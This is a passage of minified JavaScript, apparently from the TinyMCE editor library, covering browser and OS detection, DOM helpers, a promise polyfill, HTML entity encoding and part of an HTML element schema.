Yn(e,"iphone")||Yn(e,"ipad")},versionRegexes:[/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,/.*cpu os ([0-9]+)_([0-9]+).*/,/.*cpu iphone os ([0-9]+)_([0-9]+).*/]},{name:"Android",search:Zn("android"),versionRegexes:[/.*?android\ ?([0-9]+)\.([0-9]+).*/]},{name:"OSX",search:Zn("os x"),versionRegexes:[/.*?os\ x\ ?([0-9]+)_([0-9]+).*/]},{name:"Linux",search:Zn("linux"),versionRegexes:[]},{name:"Solaris",search:Zn("sunos"),versionRegexes:[]},{name:"FreeBSD",search:Zn("freebsd"),versionRegexes:[]}],nr={browsers:q(er),oses:q(tr)},rr=function(e){var t,n,r,o,i,a,u,s,c,l,f,d=nr.browsers(),m=nr.oses(),g=Kn(d,e).fold(Mn.unknown,Mn.nu),p=Xn(m,e).fold($n.unknown,$n.nu);return{browser:g,os:p,deviceType:(n=g,r=e,o=(t=p).isiOS()&&!0===/ipad/i.test(r),i=t.isiOS()&&!o,a=t.isAndroid()&&3===t.version.major,u=t.isAndroid()&&4===t.version.major,s=o||a||u&&!0===/mobile/i.test(r),c=t.isiOS()||t.isAndroid(),l=c&&!s,f=n.isSafari()&&t.isiOS()&&!1===/safari/i.test(r),{isiPad:q(o),isiPhone:q(i),isTablet:q(s),isPhone:q(l),isTouch:q(c),isAndroid:t.isAndroid,isiOS:t.isiOS,isWebView:q(f)})}},or={detect:(En=function(){var e=V.navigator.userAgent;return rr(e)},Tn=!1,function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return Tn||(Tn=!0,Sn=En.apply(null,e)),Sn})},ir=function(e){if(null===e||e===undefined)throw new Error("Node cannot be null or undefined");return{dom:q(e)}},ar={fromHtml:function(e,t){var n=(t||V.document).createElement("div");if(n.innerHTML=e,!n.hasChildNodes()||1<n.childNodes.length)throw V.console.error("HTML does not have a single root node",e),new Error("HTML must have a single root node");return ir(n.childNodes[0])},fromTag:function(e,t){var n=(t||V.document).createElement(e);return ir(n)},fromText:function(e,t){var n=(t||V.document).createTextNode(e);return ir(n)},fromDom:ir,fromPoint:function(e,t,n){var r=e.dom();return _.from(r.elementFromPoint(t,n)).map(ir)}},ur=(V.Node.ATTRIBUTE_NODE,V.Node.CDATA_SECTION_NODE,V.Node.COMMENT_NODE,V.Node.DOCUMENT_NODE),sr=(V.Node.DOCUMENT_TYPE_NODE,V.Node.DOCUMENT_FRAGMENT_NODE,V.Node.ELEMENT_NODE),cr=V.Node.TEXT_NODE,lr=(V.Node.PROCESSING_INSTRUCTION_NODE,V.Node.ENTITY_REFERENCE_NODE,V.Node.ENTITY_NODE,V.Node.NOTATION_NODE,function(e){return e.dom().nodeName.toLowerCase()}),fr=function(t){return function(e){return e.dom().nodeType===t}},dr=fr(sr),mr=fr(cr),gr=Object.keys,pr=Object.hasOwnProperty,hr=function(e,t){for(var n=gr(e),r=0,o=n.length;r<o;r++){var i=n[r];t(e[i],i)}},vr=function(e,r){var o={};return hr(e,function(e,t){var n=r(e,t);o[n.k]=n.v}),o},yr=function(e,n){var r={},o={};return hr(e,function(e,t){(n(e,t)?r:o)[t]=e}),{t:r,f:o}},br=function(e,t){return pr.call(e,t)},Cr=function(e){return e.style!==undefined&&D(e.style.getPropertyValue)},xr=function(e,t,n){if(!(S(n)||R(n)||O(n)))throw V.console.error("Invalid call to Attr.set. Key ",t,":: Value ",n,":: Element ",e),new Error("Attribute value was not simple");e.setAttribute(t,n+"")},wr=function(e,t,n){xr(e.dom(),t,n)},Nr=function(e,t){var n=e.dom();hr(t,function(e,t){xr(n,t,e)})},Er=function(e,t){var n=e.dom().getAttribute(t);return null===n?undefined:n},Sr=function(e,t){e.dom().removeAttribute(t)},Tr=function(e,t){var n=e.dom();hr(t,function(e,t){!function(e,t,n){if(!S(n))throw V.console.error("Invalid call to CSS.set. Property ",t,":: Value ",n,":: Element ",e),new Error("CSS value must be a string: "+n);Cr(e)&&e.style.setProperty(t,n)}(n,t,e)})},kr=function(e,t){var n,r,o=e.dom(),i=V.window.getComputedStyle(o).getPropertyValue(t),a=""!==i||(r=mr(n=e)?n.dom().parentNode:n.dom())!==undefined&&null!==r&&r.ownerDocument.body.contains(r)?i:_r(o,t);return null===a?undefined:a},_r=function(e,t){return Cr(e)?e.style.getPropertyValue(t):""},Ar=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return function(){for(var n=[],e=0;e<arguments.length;e++)n[e]=arguments[e];if(t.length!==n.length)throw new Error('Wrong number of arguments to struct. Expected "['+t.length+']", got '+n.length+" arguments");var r={};return z(t,function(e,t){r[e]=q(n[t])}),r}},Rr=function(e,t){for(var n=[],r=function(e){return n.push(e),t(e)},o=t(e);(o=o.bind(r)).isSome(););return n},Dr=function(){return oe.getOrDie("Node")},Or=function(e,t,n){return 0!=(e.compareDocumentPosition(t)&n)},Br=function(e,t){return Or(e,t,Dr().DOCUMENT_POSITION_CONTAINED_BY)},Pr=sr,Ir=ur,Lr=function(e,t){var n=e.dom();if(n.nodeType!==Pr)return!1;var r=n;if(r.matches!==undefined)return r.matches(t);if(r.msMatchesSelector!==undefined)return r.msMatchesSelector(t);if(r.webkitMatchesSelector!==undefined)return r.webkitMatchesSelector(t);if(r.mozMatchesSelector!==undefined)return r.mozMatchesSelector(t);throw new Error("Browser lacks native selectors")},Fr=function(e){return e.nodeType!==Pr&&e.nodeType!==Ir||0===e.childElementCount},Mr=function(e,t){return e.dom()===t.dom()},zr=or.detect().browser.isIE()?function(e,t){return Br(e.dom(),t.dom())}:function(e,t){var n=e.dom(),r=t.dom();return n!==r&&n.contains(r)},Ur=function(e){return ar.fromDom(e.dom().ownerDocument)},jr=function(e){return ar.fromDom(e.dom().ownerDocument.defaultView)},Vr=function(e){return _.from(e.dom().parentNode).map(ar.fromDom)},Hr=function(e){return _.from(e.dom().previousSibling).map(ar.fromDom)},qr=function(e){return _.from(e.dom().nextSibling).map(ar.fromDom)},$r=function(e){return t=Rr(e,Hr),(n=B.call(t,0)).reverse(),n;var t,n},Wr=function(e){return Rr(e,qr)},Kr=function(e){return W(e.dom().childNodes,ar.fromDom)},Xr=function(e,t){var n=e.dom().childNodes;return _.from(n[t]).map(ar.fromDom)},Yr=function(e){return Xr(e,0)},Gr=function(e){return Xr(e,e.dom().childNodes.length-1)},Jr=(Ar("element","offset"),or.detect().browser),Qr=function(e){return X(e,dr)},Zr={getPos:function(e,t,n){var r,o,i,a=0,u=0,s=e.ownerDocument;if(n=n||e,t){if(n===e&&t.getBoundingClientRect&&"static"===kr(ar.fromDom(e),"position"))return{x:a=(o=t.getBoundingClientRect()).left+(s.documentElement.scrollLeft||e.scrollLeft)-s.documentElement.clientLeft,y:u=o.top+(s.documentElement.scrollTop||e.scrollTop)-s.documentElement.clientTop};for(r=t;r&&r!==n&&r.nodeType;)a+=r.offsetLeft||0,u+=r.offsetTop||0,r=r.offsetParent;for(r=t.parentNode;r&&r!==n&&r.nodeType;)a-=r.scrollLeft||0,u-=r.scrollTop||0,r=r.parentNode;u+=(i=ar.fromDom(t),Jr.isFirefox()&&"table"===lr(i)?Qr(Kr(i)).filter(function(e){return"caption"===lr(e)}).bind(function(o){return Qr(Wr(o)).map(function(e){var t=e.dom().offsetTop,n=o.dom().offsetTop,r=o.dom().offsetHeight;return t<=n?-r:0})}).getOr(0):0)}return{x:a,y:u}}},eo={},to={exports:eo};kn=undefined,_n=eo,An=to,Rn=undefined,function(e){"object"==typeof _n&&void 0!==An?An.exports=e():"function"==typeof kn&&kn.amd?kn([],e):("undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this).EphoxContactWrapper=e()}(function(){return function i(a,u,s){function c(t,e){if(!u[t]){if(!a[t]){var n="function"==typeof Rn&&Rn;if(!e&&n)return n(t,!0);if(l)return l(t,!0);var r=new Error("Cannot find module '"+t+"'");throw r.code="MODULE_NOT_FOUND",r}var o=u[t]={exports:{}};a[t][0].call(o.exports,function(e){return c(a[t][1][e]||e)},o,o.exports,i,a,u,s)}return u[t].exports}for(var l="function"==typeof Rn&&Rn,e=0;e<s.length;e++)c(s[e]);return c}({1:[function(e,t,n){var r,o,i=t.exports={};function a(){throw new Error("setTimeout has not been defined")}function u(){throw new Error("clearTimeout has not been defined")}function s(e){if(r===setTimeout)return setTimeout(e,0);if((r===a||!r)&&setTimeout)return r=setTimeout,setTimeout(e,0);try{return r(e,0)}catch(iE){try{return r.call(null,e,0)}catch(iE){return r.call(this,e,0)}}}!function(){try{r="function"==typeof setTimeout?setTimeout:a}catch(iE){r=a}try{o="function"==typeof clearTimeout?clearTimeout:u}catch(iE){o=u}}();var c,l=[],f=!1,d=-1;function m(){f&&c&&(f=!1,c.length?l=c.concat(l):d=-1,l.length&&g())}function g(){if(!f){var e=s(m);f=!0;for(var t=l.length;t;){for(c=l,l=[];++d<t;)c&&c[d].run();d=-1,t=l.length}c=null,f=!1,function(e){if(o===clearTimeout)return clearTimeout(e);if((o===u||!o)&&clearTimeout)return o=clearTimeout,clearTimeout(e);try{o(e)}catch(iE){try{return o.call(null,e)}catch(iE){return o.call(this,e)}}}(e)}}function p(e,t){this.fun=e,this.array=t}function h(){}i.nextTick=function(e){var t=new Array(arguments.length-1);if(1<arguments.length)for(var n=1;n<arguments.length;n++)t[n-1]=arguments[n];l.push(new p(e,t)),1!==l.length||f||s(g)},p.prototype.run=function(){this.fun.apply(null,this.array)},i.title="browser",i.browser=!0,i.env={},i.argv=[],i.version="",i.versions={},i.on=h,i.addListener=h,i.once=h,i.off=h,i.removeListener=h,i.removeAllListeners=h,i.emit=h,i.prependListener=h,i.prependOnceListener=h,i.listeners=function(e){return[]},i.binding=function(e){throw new Error("process.binding is not supported")},i.cwd=function(){return"/"},i.chdir=function(e){throw new Error("process.chdir is not supported")},i.umask=function(){return 0}},{}],2:[function(e,f,t){(function(n){!function(e){var t=setTimeout;function r(){}function i(e){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof e)throw new TypeError("not a function");this._state=0,this._handled=!1,this._value=undefined,this._deferreds=[],l(e,this)}function o(n,r){for(;3===n._state;)n=n._value;0!==n._state?(n._handled=!0,i._immediateFn(function(){var e=1===n._state?r.onFulfilled:r.onRejected;if(null!==e){var t;try{t=e(n._value)}catch(iE){return void u(r.promise,iE)}a(r.promise,t)}else(1===n._state?a:u)(r.promise,n._value)})):n._deferreds.push(r)}function a(e,t){try{if(t===e)throw new TypeError("A promise cannot be resolved with itself.");if(t&&("object"==typeof t||"function"==typeof t)){var n=t.then;if(t instanceof i)return e._state=3,e._value=t,void s(e);if("function"==typeof n)return void l((r=n,o=t,function(){r.apply(o,arguments)}),e)}e._state=1,e._value=t,s(e)}catch(iE){u(e,iE)}var r,o}function u(e,t){e._state=2,e._value=t,s(e)}function s(e){2===e._state&&0===e._deferreds.length&&i._immediateFn(function(){e._handled||i._unhandledRejectionFn(e._value)});for(var t=0,n=e._deferreds.length;t<n;t++)o(e,e._deferreds[t]);e._deferreds=null}function c(e,t,n){this.onFulfilled="function"==typeof e?e:null,this.onRejected="function"==typeof t?t:null,this.promise=n}function l(e,t){var n=!1;try{e(function(e){n||(n=!0,a(t,e))},function(e){n||(n=!0,u(t,e))})}catch(r){if(n)return;n=!0,u(t,r)}}i.prototype["catch"]=function(e){return this.then(null,e)},i.prototype.then=function(e,t){var n=new this.constructor(r);return o(this,new c(e,t,n)),n},i.all=function(e){var s=Array.prototype.slice.call(e);return new i(function(o,i){if(0===s.length)return o([]);var a=s.length;function u(t,e){try{if(e&&("object"==typeof e||"function"==typeof e)){var n=e.then;if("function"==typeof n)return void n.call(e,function(e){u(t,e)},i)}s[t]=e,0==--a&&o(s)}catch(r){i(r)}}for(var e=0;e<s.length;e++)u(e,s[e])})},i.resolve=function(t){return t&&"object"==typeof t&&t.constructor===i?t:new i(function(e){e(t)})},i.reject=function(n){return new i(function(e,t){t(n)})},i.race=function(o){return new i(function(e,t){for(var n=0,r=o.length;n<r;n++)o[n].then(e,t)})},i._immediateFn="function"==typeof n?function(e){n(e)}:function(e){t(e,0)},i._unhandledRejectionFn=function(e){"undefined"!=typeof console&&console&&console.warn("Possible Unhandled Promise Rejection:",e)},i._setImmediateFn=function(e){i._immediateFn=e},i._setUnhandledRejectionFn=function(e){i._unhandledRejectionFn=e},void 0!==f&&f.exports?f.exports=i:e.Promise||(e.Promise=i)}(this)}).call(this,e("timers").setImmediate)},{timers:3}],3:[function(s,e,c){(function(e,t){var r=s("process/browser.js").nextTick,n=Function.prototype.apply,o=Array.prototype.slice,i={},a=0;function u(e,t){this._id=e,this._clearFn=t}c.setTimeout=function(){return new u(n.call(setTimeout,window,arguments),clearTimeout)},c.setInterval=function(){return new u(n.call(setInterval,window,arguments),clearInterval)},c.clearTimeout=c.clearInterval=function(e){e.close()},u.prototype.unref=u.prototype.ref=function(){},u.prototype.close=function(){this._clearFn.call(window,this._id)},c.enroll=function(e,t){clearTimeout(e._idleTimeoutId),e._idleTimeout=t},c.unenroll=function(e){clearTimeout(e._idleTimeoutId),e._idleTimeout=-1},c._unrefActive=c.active=function(e){clearTimeout(e._idleTimeoutId);var t=e._idleTimeout;0<=t&&(e._idleTimeoutId=setTimeout(function(){e._onTimeout&&e._onTimeout()},t))},c.setImmediate="function"==typeof e?e:function(e){var t=a++,n=!(arguments.length<2)&&o.call(arguments,1);return i[t]=!0,r(function(){i[t]&&(n?e.apply(null,n):e.call(null),c.clearImmediate(t))}),t},c.clearImmediate="function"==typeof t?t:function(e){delete i[e]}}).call(this,s("timers").setImmediate,s("timers").clearImmediate)},{"process/browser.js":1,timers:3}],4:[function(e,t,n){var r=e("promise-polyfill"),o="undefined"!=typeof window?window:Function("return this;")();t.exports={boltExport:o.Promise||r}},{"promise-polyfill":2}]},{},[4])(4)});var no=to.exports.boltExport,ro=function(e){var n=_.none(),t=[],r=function(e){o()?a(e):t.push(e)},o=function(){return n.isSome()},i=function(e){z(e,a)},a=function(t){n.each(function(e){V.setTimeout(function(){t(e)},0)})};return e(function(e){n=_.some(e),i(t),t=[]}),{get:r,map:function(n){return ro(function(t){r(function(e){t(n(e))})})},isReady:o}},oo={nu:ro,pure:function(t){return ro(function(e){e(t)})}},io=function(e){V.setTimeout(function(){throw e},0)},ao=function(n){var e=function(e){n().then(e,io)};return{map:function(e){return ao(function(){return n().then(e)})},bind:function(t){return ao(function(){return n().then(function(e){return t(e).toPromise()})})},anonBind:function(e){return ao(function(){return n().then(function(){return e.toPromise()})})},toLazy:function(){return oo.nu(e)},toCached:function(){var e=null;return ao(function(){return null===e&&(e=n()),e})},toPromise:n,get:e}},uo={nu:function(e){return ao(function(){return new no(e)})},pure:function(e){return ao(function(){return no.resolve(e)})}},so=function(a,e){return e(function(r){var o=[],i=0;0===a.length?r([]):z(a,function(e,t){var n;e.get((n=t,function(e){o[n]=e,++i>=a.length&&r(o)}))})})},co=function(e){return so(e,uo.nu)},lo=function(n){return{is:function(e){return n===e},isValue:C,isError:b,getOr:q(n),getOrThunk:q(n),getOrDie:q(n),or:function(e){return lo(n)},orThunk:function(e){return lo(n)},fold:function(e,t){return t(n)},map:function(e){return lo(e(n))},mapError:function(e){return lo(n)},each:function(e){e(n)},bind:function(e){return e(n)},exists:function(e){return e(n)},forall:function(e){return e(n)},toOption:function(){return _.some(n)}}},fo=function(n){return{is:b,isValue:b,isError:C,getOr:$,getOrThunk:function(e){return e()},getOrDie:function(){return e=String(n),function(){throw new Error(e)}();var e},or:function(e){return e},orThunk:function(e){return e()},fold:function(e,t){return e(n)},map:function(e){return fo(n)},mapError:function(e){return fo(e(n))},each:o,bind:function(e){return fo(n)},exists:b,forall:C,toOption:_.none}},mo={value:lo,error:fo,fromOption:function(e,t){return e.fold(function(){return fo(t)},lo)}};function go(e,u){var t=e,n=function(e,t,n,r){var o,i;if(e){if(!r&&e[t])return e[t];if(e!==u){if(o=e[n])return o;for(i=e.parentNode;i&&i!==u;i=i.parentNode)if(o=i[n])return o}}};this.current=function(){return t},this.next=function(e){return t=n(t,"firstChild","nextSibling",e)},this.prev=function(e){return t=n(t,"lastChild","previousSibling",e)},this.prev2=function(e){return t=function(e,t,n,r){var o,i,a;if(e){if(o=e[n],u&&o===u)return;if(o){if(!r)for(a=o[t];a;a=a[t])if(!a[t])return a;return o}if((i=e.parentNode)&&i!==u)return i}}(t,"lastChild","previousSibling",e)}}var po,ho,vo,yo=function(t){var n;return function(e){return(n=n||function(e,t){for(var n={},r=0,o=e.length;r<o;r++){var i=e[r];n[String(i)]=t(i,r)}return n}(t,q(!0))).hasOwnProperty(lr(e))}},bo=yo(["h1","h2","h3","h4","h5","h6"]),Co=yo(["article","aside","details","div","dt","figcaption","footer","form","fieldset","header","hgroup","html","main","nav","section","summary","body","p","dl","multicol","dd","figure","address","center","blockquote","h1","h2","h3","h4","h5","h6","listing","xmp","pre","plaintext","menu","dir","ul","ol","li","hr","table","tbody","thead","tfoot","th","tr","td","caption"]),xo=function(e){return dr(e)&&!Co(e)},wo=function(e){return dr(e)&&"br"===lr(e)},No=yo(["h1","h2","h3","h4","h5","h6","p","div","address","pre","form","blockquote","center","dir","fieldset","header","footer","article","section","hgroup","aside","nav","figure"]),Eo=yo(["ul","ol","dl"]),So=yo(["li","dd","dt"]),To=yo(["area","base","basefont","br","col","frame","hr","img","input","isindex","link","meta","param","embed","source","wbr","track"]),ko=yo(["thead","tbody","tfoot"]),_o=yo(["td","th"]),Ao=yo(["pre","script","textarea","style"]),Ro=function(t){return function(e){return!!e&&e.nodeType===t}},Do=Ro(1),Oo=function(e){var r=e.toLowerCase().split(" ");return function(e){var t,n;if(e&&e.nodeType)for(n=e.nodeName.toLowerCase(),t=0;t<r.length;t++)if(n===r[t])return!0;return!1}},Bo=function(t){return function(e){if(Do(e)){if(e.contentEditable===t)return!0;if(e.getAttribute("data-mce-contenteditable")===t)return!0}return!1}},Po=Ro(3),Io=Ro(8),Lo=Ro(9),Fo=Ro(11),Mo=Oo("br"),zo=Bo("true"),Uo=Bo("false"),jo={isText:Po,isElement:Do,isComment:Io,isDocument:Lo,isDocumentFragment:Fo,isBr:Mo,isContentEditableTrue:zo,isContentEditableFalse:Uo,isRestrictedNode:function(e){return!!e&&!Object.getPrototypeOf(e)},matchNodeNames:Oo,hasPropValue:function(t,n){return function(e){return Do(e)&&e[t]===n}},hasAttribute:function(t,e){return function(e){return Do(e)&&e.hasAttribute(t)}},hasAttributeValue:function(t,n){return function(e){return Do(e)&&e.getAttribute(t)===n}},matchStyleValues:function(r,e){var o=e.toLowerCase().split(" ");return function(e){var t;if(Do(e))for(t=0;t<o.length;t++){var n=e.ownerDocument.defaultView.getComputedStyle(e,null);if((n?n.getPropertyValue(r):null)===o[t])return!0}return!1}},isBogus:function(e){return Do(e)&&e.hasAttribute("data-mce-bogus")},isBogusAll:function(e){return Do(e)&&"all"===e.getAttribute("data-mce-bogus")},isTable:function(e){return Do(e)&&"TABLE"===e.tagName}},Vo=function(e){return e&&"SPAN"===e.tagName&&"bookmark"===e.getAttribute("data-mce-type")},Ho=function(e,t){var n,r=t.childNodes;if(!jo.isElement(t)||!Vo(t)){for(n=r.length-1;0<=n;n--)Ho(e,r[n]);if(!1===jo.isDocument(t)){if(jo.isText(t)&&0<t.nodeValue.length){var o=Xt.trim(t.nodeValue).length;if(e.isBlock(t.parentNode)||0<o)return;if(0===o&&(a=(i=t).previousSibling&&"SPAN"===i.previousSibling.nodeName,u=i.nextSibling&&"SPAN"===i.nextSibling.nodeName,a&&u))return}else if(jo.isElement(t)&&(1===(r=t.childNodes).length&&Vo(r[0])&&t.parentNode.insertBefore(r[0],t),r.length||To(ar.fromDom(t))))return;e.remove(t)}var i,a,u;return t}},qo={trimNode:Ho},$o=Xt.makeMap,Wo=/[&<>\"\u0060\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g,Ko=/[<>&\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g,Xo=/[<>&\"\']/g,Yo=/&#([a-z0-9]+);?|&([a-z0-9]+);/gi,Go={128:"\u20ac",130:"\u201a",131:"\u0192",132:"\u201e",133:"\u2026",134:"\u2020",135:"\u2021",136:"\u02c6",137:"\u2030",138:"\u0160",139:"\u2039",140:"\u0152",142:"\u017d",145:"\u2018",146:"\u2019",147:"\u201c",148:"\u201d",149:"\u2022",150:"\u2013",151:"\u2014",152:"\u02dc",153:"\u2122",154:"\u0161",155:"\u203a",156:"\u0153",158:"\u017e",159:"\u0178"};ho={'"':""","'":"'","<":"<",">":">","&":"&","`":"`"},vo={"<":"<",">":">","&":"&",""":'"',"'":"'"};var Jo=function(e,t){var n,r,o,i={};if(e){for(e=e.split(","),t=t||10,n=0;n<e.length;n+=2)r=String.fromCharCode(parseInt(e[n],t)),ho[r]||(o="&"+e[n+1]+";",i[r]=o,i[o]=r);return i}};po=Jo("50,nbsp,51,iexcl,52,cent,53,pound,54,curren,55,yen,56,brvbar,57,sect,58,uml,59,copy,5a,ordf,5b,laquo,5c,not,5d,shy,5e,reg,5f,macr,5g,deg,5h,plusmn,5i,sup2,5j,sup3,5k,acute,5l,micro,5m,para,5n,middot,5o,cedil,5p,sup1,5q,ordm,5r,raquo,5s,frac14,5t,frac12,5u,frac34,5v,iquest,60,Agrave,61,Aacute,62,Acirc,63,Atilde,64,Auml,65,Aring,66,AElig,67,Ccedil,68,Egrave,69,Eacute,6a,Ecirc,6b,Euml,6c,Igrave,6d,Iacute,6e,Icirc,6f,Iuml,6g,ETH,6h,Ntilde,6i,Ograve,6j,Oacute,6k,Ocirc,6l,Otilde,6m,Ouml,6n,times,6o,Oslash,6p,Ugrave,6q,Uacute,6r,Ucirc,6s,Uuml,6t,Yacute,6u,THORN,6v,szlig,70,agrave,71,aacute,72,acirc,73,atilde,74,auml,75,aring,76,aelig,77,ccedil,78,egrave,79,eacute,7a,ecirc,7b,euml,7c,igrave,7d,iacute,7e,icirc,7f,iuml,7g,eth,7h,ntilde,7i,ograve,7j,oacute,7k,ocirc,7l,otilde,7m,ouml,7n,divide,7o,oslash,7p,ugrave,7q,uacute,7r,ucirc,7s,uuml,7t,yacute,7u,thorn,7v,yuml,ci,fnof,sh,Alpha,si,Beta,sj,Gamma,sk,Delta,sl,Epsilon,sm,Zeta,sn,Eta,so,Theta,sp,Iota,sq,Kappa,sr,Lambda,ss,Mu,st,Nu,su,Xi,sv,Omicron,t0,Pi,t1,Rho,t3,Sigma,t4,Tau,t5,Upsilon,t6,Phi,t7,Chi,t8,Psi,t9,Omega,th,alpha,ti,beta,tj,gamma,tk,delta,tl,epsilon,tm,zeta,tn,eta,to,theta,tp,iota,tq,kappa,tr,lambda,ts,mu,tt,nu,tu,xi,tv,omicron,u0,pi,u1,rho,u2,sigmaf,u3,sigma,u4,tau,u5,upsilon,u6,phi,u7,chi,u8,psi,u9,omega,uh,thetasym,ui,upsih,um,piv,812,bull,816,hellip,81i,prime,81j,Prime,81u,oline,824,frasl,88o,weierp,88h,image,88s,real,892,trade,89l,alefsym,8cg,larr,8ch,uarr,8ci,rarr,8cj,darr,8ck,harr,8dl,crarr,8eg,lArr,8eh,uArr,8ei,rArr,8ej,dArr,8ek,hArr,8g0,forall,8g2,part,8g3,exist,8g5,empty,8g7,nabla,8g8,isin,8g9,notin,8gb,ni,8gf,prod,8gh,sum,8gi,minus,8gn,lowast,8gq,radic,8gt,prop,8gu,infin,8h0,ang,8h7,and,8h8,or,8h9,cap,8ha,cup,8hb,int,8hk,there4,8hs,sim,8i5,cong,8i8,asymp,8j0,ne,8j1,equiv,8j4,le,8j5,ge,8k2,sub,8k3,sup,8k4,nsub,8k6,sube,8k7,supe,8kl,oplus,8kn,otimes,8l5,perp,8m5,sdot,8o8,lceil,8o9,rceil,8oa,lfloor,8ob,rfloor,8p9,lang,8pa,rang,9ea,loz,9j0,spades,9j3,clubs,9j5,hearts,9j6,diams,ai,OElig,aj,oelig,b0,Scaron,b1,scaron,bo,Yuml,m6,circ,ms,tilde,802,ensp,803,emsp,809,thinsp,80c,zwnj,80d,zwj,80e,lrm,80f,rlm,80j,ndash,80k,mdash,80o,lsquo,80p,rsquo,80q,sbquo,80s,ldquo,80t,rdquo,80u,bdquo,810,dagger,811,Dagger,81g,permil,81p,lsaquo,81q,rsaquo,85c,euro",32);var Qo=function(e,t){return e.replace(t?Wo:Ko,function(e){return ho[e]||e})},Zo=function(e,t){return e.replace(t?Wo:Ko,function(e){return 1<e.length?"&#"+(1024*(e.charCodeAt(0)-55296)+(e.charCodeAt(1)-56320)+65536)+";":ho[e]||"&#"+e.charCodeAt(0)+";"})},ei=function(e,t,n){return n=n||po,e.replace(t?Wo:Ko,function(e){return ho[e]||n[e]||e})},ti={encodeRaw:Qo,encodeAllRaw:function(e){return(""+e).replace(Xo,function(e){return ho[e]||e})},encodeNumeric:Zo,encodeNamed:ei,getEncodeFunc:function(e,t){var n=Jo(t)||po,r=$o(e.replace(/\+/g,","));return r.named&&r.numeric?function(e,t){return e.replace(t?Wo:Ko,function(e){return ho[e]!==undefined?ho[e]:n[e]!==undefined?n[e]:1<e.length?"&#"+(1024*(e.charCodeAt(0)-55296)+(e.charCodeAt(1)-56320)+65536)+";":"&#"+e.charCodeAt(0)+";"})}:r.named?t?function(e,t){return ei(e,t,n)}:ei:r.numeric?Zo:Qo},decode:function(e){return e.replace(Yo,function(e,t){return t?65535<(t="x"===t.charAt(0).toLowerCase()?parseInt(t.substr(1),16):parseInt(t,10))?(t-=65536,String.fromCharCode(55296+(t>>10),56320+(1023&t))):Go[t]||String.fromCharCode(t):vo[e]||po[e]||(n=e,(r=ar.fromTag("div").dom()).innerHTML=n,r.textContent||r.innerText||n);var n,r})}},ni={},ri={},oi=Xt.makeMap,ii=Xt.each,ai=Xt.extend,ui=Xt.explode,si=Xt.inArray,ci=function(e,t){return(e=Xt.trim(e))?e.split(t||" "):[]},li=function(e){var u,t,n,r,o,i,s={},a=function(e,t,n){var r,o,i,a=function(e,t){var n,r,o={};for(n=0,r=e.length;n<r;n++)o[e[n]]=t||{};return o};for(t=t||"","string"==typeof(n=n||[])&&(n=ci(n)),r=(e=ci(e)).length;r--;)i={attributes:a(o=ci([u,t].join(" "))),attributesOrder:o,children:a(n,ri)},s[e[r]]=i},c=function(e,t){var n,r,o,i;for(n=(e=ci(e)).length,t=ci(t);n--;)for(r=s[e[n]],o=0,i=t.length;o<i;o++)r.attributes[t[o]]={},r.attributesOrder.push(t[o])};return ni[e]?ni[e]:(u="id accesskey class dir lang style tabindex title role",t="address blockquote div dl fieldset form h1 h2 h3 h4 h5 h6 hr menu ol p pre table ul",n="a abbr b bdo br button cite code del dfn em embed i iframe img input ins kbd label map noscript object q s samp script select small span strong sub sup textarea u var #text #comment","html4"!==e&&(u+=" contenteditable contextmenu draggable dropzone hidden spellcheck translate",t+=" article aside details dialog figure main header footer hgroup section nav",n+=" audio canvas command datalist mark meter output picture progress time wbr video ruby bdi keygen"),"html5-strict"!==e&&(u+=" xml:lang",n=[n,i="acronym applet basefont big font strike tt"].join(" "),ii(ci(i),function(e){a(e,"",n)}),t=[t,o="center dir isindex noframes"].join(" "),r=[t,n].join(" "),ii(ci(o),function(e){a(e,"",r)})),r=r||[t,n].join(" "),a("html","manifest","head body"),a("head","","base command link meta noscript script style title"),a("title hr noscript br"),a("base","href target"),a("link","href rel media hreflang type sizes hreflang"),a("meta","name http-equiv content charset"),a("style","media type scoped"),a("script","src async defer type charset"),a("body","onafterprint onbeforeprint onbeforeunload onblur onerror onfocus onhashchange onload onmessage onoffline ononline onpagehide onpageshow onpopstate onresize onscroll onstorage onunload",r),a("address dt dd div caption","",r),a("h1 h2 h3 h4 h5 h6 pre p abbr code var samp kbd sub sup i b u bdo span legend em strong small s cite dfn","",n),a("blockquote","cite",r),a("ol","reversed start type","li"),a("ul","","li"),a("li","value",r),a("dl","","dt dd"),a("a","href target rel media hreflang type",n),a("q","cite",n),a("ins del","cite datetime",r),a("img","src sizes srcset alt usemap ismap width height"),a("iframe","src name width height",r),a("embed","src type width height"),a("object","data type typemustmatch name usemap form width height",[r,"param"].join(" ")),a("param","name value"),a("map","name",[r,"area"].join(" ")),a("area","alt coords shape href target rel media hreflang type"),a("table","border","caption colgroup thead tfoot tbody tr"+("html4"===e?" col":"")),a("colgroup","span","col"),a("col","span"),a("tbody thead tfoot","","tr"),a("tr","","td th"),a("td","colspan rowspan headers",r),a("th","colspan rowspan headers scope abbr",r),a("form","accept-charset action autocomplete enctype method name novalidate target",r),a("fieldset","disabled form name",[r,"legend"].join(" ")),a("label","form for",n),a("input","accept alt autocomplete checked dirname disabled form formaction formenctype formmethod formnovalidate formtarget height list max maxlength min multiple name pattern readonly required size src step type value width"),a("button","disabled form formaction formenctype formmethod formnovalidate formtarget name type value","html4"===e?r:n),a("select","disabled form multiple name required size","option optgroup"),a("optgroup","disabled label","option"),a("option","disabled label selected value"),a("textarea","cols dirname disabled form maxlength name readonly required rows wrap"),a("menu","type label",[r,"li"].join(" ")),a("noscript","",r),"html4"!==e&&(a("wbr"),a("ruby","",[n,"rt rp"].join(" ")),a("figcaption","",r),a("mark rt rp summary bdi","",n),a("canvas","width height",r),a("video","src crossorigin poster preload autoplay mediagroup loop muted controls width height buffered",[r,"track source"].join(" ")),a("audio","src crossorigin preload autoplay mediagroup loop muted controls buffered volume",[r,"track source"].join(" ")),a("picture","","img source"),a("source","src srcset type media sizes"),a("track","kind src srclang label default"),a("datalist","",[n,"option"].join(" ")),a("article section nav aside main header footer","",r),a("hgroup","","h1 h2 h3 h4 h5 h6"),a("figure","",[r,"figcaption"].join(" 